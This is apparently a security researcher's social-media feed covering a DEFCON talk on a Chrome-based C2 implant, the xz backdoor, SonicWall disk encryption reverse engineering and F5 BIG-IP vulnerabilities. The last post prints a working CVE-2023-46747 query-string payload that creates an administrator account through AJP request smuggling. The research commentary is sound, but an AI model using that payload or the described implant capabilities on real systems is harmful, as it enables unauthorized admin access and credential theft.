Michael Weber

126 Followers
42 Following
18 Posts
Security Consultant. Not affiliated with Red Hat. I just like the hat.

Thanks to everyone who came out to see my DEFCON talk!

For folks who weren't able to make it - don't sweat it - you can watch it at https://www.youtube.com/watch?v=_qS01oRTvAk.

The code + slides are available at https://github.com/praetorian-inc/ChromeAlone.

It's been awesome to get to share this with everyone, and I'm already seeing a few users experiment with the code (and help me fix some bugs). If anyone has any issues getting anything running feel free to open an issue or ping me here and I'll respond as soon as I'm able to.

ChromeAlone: Transforming a Browser into a C2 Platform

YouTube

I'm stoked to be presenting at DEFCON this year!

I've been writing support tooling for red teaming for a while now, and the most successful tooling I've ever written has all revolved around abusing Chrome extension/app features. It's been getting my teammates access for 7+ years and we're still going from zero to GG on fortune 50 companies with this approach.

In a few weeks I'll be presenting on the techniques we use, some public and some not previously discussed. I'll also be releasing code that demonstrates how to turn your average Chrome instance into a full C2 implant with features like:

* Full SOCKS TCP proxying
* Shelling out from the browser
* Live credential capture
* Full file system read access
* WebAuthn phishing for physical security keys like Yubikeys

The code will include deployment scripts for server infrastructure as well as code for silently sideloading the above capabilities into Chrome in a post-exploitation context. It's not exactly Sliver, but there's more than enough to run amok in an organization and cause some problems.

If you happen to be at DEFCON, come see the talk live (defcon.org/html/defcon-33/dc-33-speakers.html#content_60300). Code's going live the day I present - looking forward to getting to share this with everyone!

GitHub - amlweems/xzbot: notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)

notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094) - amlweems/xzbot

GitHub

.@amlw wrote a great proof of concept for #XZ to allow code execution via ssh.

Very important note: it doesn’t work in the wild as you need the private key, which only the threat actor(s) have. But you can create your own for exploiting your own servers.

https://github.com/amlweems/xzbot

GitHub - amlweems/xzbot: notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)

notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094) - amlweems/xzbot

GitHub
Here's an exploit demo (yes, really) for the xz backdoor:

github.com/amlweems/xzbot

#CVE_2024_3094
GitHub - amlweems/xzbot: notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094)

notes, honeypot, and exploit demo for the xz backdoor (CVE-2024-3094) - amlweems/xzbot

GitHub
this is how bots army and click fraud take place. your uniq mobile id means nothing. Here is How they build the 3rd gen, 20 mobiles into a server chassis? 3rd generation click farm fraud involves mobile device servers, centralised and operated by one.

@iagox86 Yeah, this looks like someone is TRYING to send an AJP packet your way (that 00 08 in the beginning is the giveaway) but they've screwed up converting it to hex from the raw bytes or something.

Without the Transfer-Encoding header I DEFINITELY wouldn't expect this to hit the same bug...I wonder what exactly is going on there.

Unfortunately this definitely end up getting used in the wild (https://arcticwolf.com/resources/blog/f5-big-ip-rce-vulnerability-actively-exploited-in-the-wild/) so I'm not surprised to see someone launching it at your infrastructure - though from that snippet you posted it shouldn't work so it could be worse =).

I wonder if they'll keep hitting you with variations...who knows, maybe there's a bypass for the fix or something.

[High Impact Vulnerability] F5 BIG-IP RCE Vulnerability Actively Exploited in the Wild

Learn more about a widespread Mirai Botnet campaign exploiting CVE-2021-22986, along with the impact and recommendations.

Arctic Wolf

When we're doing vuln hunting on internet appliances, we often want a shell in order to figure out what's going on. For the F5 research we were lucky, you could just SSH into the box and immediately get access to relevant config files and binaries. Lots of other appliances don't like to give out that access, they might give some kind of restricted/custom shell, or maybe they just don't expose anything at all.

In order to get around this, we'll often grab VM images and then boot from a live cd / alternate linux install and mount the disks. More recent Sonicwall appliances prevent this behavior, however. Their disk partitions are all LUKS encrypted, which prevents nosey researchers like myself from being able to mount them via another OS that doesn't have the encryption keys.

What's interesting though, is that if you boot from the base image (as intended), it just works. GRUB does have a mechanism for embedding decryption keys into the boot process, but this often means just leaving the decryption key in the boot partition, which is pretty easy to grab. This is not what Sonicwall NSV appliances do.

I got to spend a fun week diving into how GRUB works in order to figure out just what on earth was happening here - feel free to read about it at https://www.praetorian.com/blog/sonicwall-custom-grub-luks-encryption/.

The TL;DR is that Sonicwall modified their GRUB bootloader to perform decryption key derivation based off of the partition metadata. This is very much NOT default GRUB behavior (as far as I'm aware), so someone at Sonicwall went out of their way to bake this into the bootloader. It was a fun RE experience though, definitely got to learn a lot!

#sonicwall #nsv #grub #reverseengineering

Analyzing SonicWall Custom Grub LUKS Encryption Modifications -

We reverse engineered a general solution to decrypt LUKS partitions for all SonicWall NSv appliances that use a specific custom GRUB module.

Praetorian

Well, that didn't take long. #cve202346747 has now been reported by F5 as being exploited in the wild. This can be found in an updated section of the advisory towards the bottom at https://my.f5.com/manage/s/article/K000137353.

Interestingly enough, the in-the-wild exploitation is using the SQL injection vulnerability (CVE-2023-46748) in conjunction with the AJP request smuggling attack to achieve access. This vulnerability was also included in the same KB advisory as the AJP request smuggling attack.

Originally I wasn't sure if the SQL injection vuln report was the other security researcher(s) who had also reported the AJP Request Smuggling content to F5, but given the way this is being exploited in the wild it sure looks like this is the case.

myF5

Yeah, we didn't explicitly mention the exact payload, though if you want an example you can check out nuclei's PoC at https://github.com/projectdiscovery/nuclei-templates/pull/8496/files#diff-4ce7a843fc5221b42f16c74f632c444ff8b7ba8fcbe2f324041b166ec05f65e5R39.

There's one other thing you need to do as well we didn't mention, which is calculate the appropriate _bufvalue parameter - it's a SHA hash based on concatenating a header (which we can provide via AJP smuggling) and the _timenow parameter. You can also just not provide the header apparently (per PD's payload):

_timenow=a&_timenow_before=&handler=%2ftmui%2fsystem%2fuser%2fcreate&&&form_page=%2ftmui%2fsystem%2fuser%2fcreate.jsp%3f&form_page_before=&hideObjList=&_bufvalue=eIL4RUnSwXYoPUIOGcOFx2o00Xc%3d&_bufvalue_before=&systemuser-hidden=[["Administrator","[All]"]]&systemuser-hidden_before=&name=<username> &name_before=&passwd=<password> &passwd_before=&finished=x&finished_before=

By passing this as the query string for your AJP packet, you can create a user.

@threathunt @pdnuclei @rootxharsh @iamnoooob

Added CVE-2023-46747 (5 BIG-IP - Unauthenticated RCE via AJP Smuggling) by ehsandeep · Pull Request #8496 · projectdiscovery/nuclei-templates

Template / PR Information Added CVE-2023-46747 (5 BIG-IP - Unauthenticated RCE via AJP Smuggling) Reference: https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smugglin...

GitHub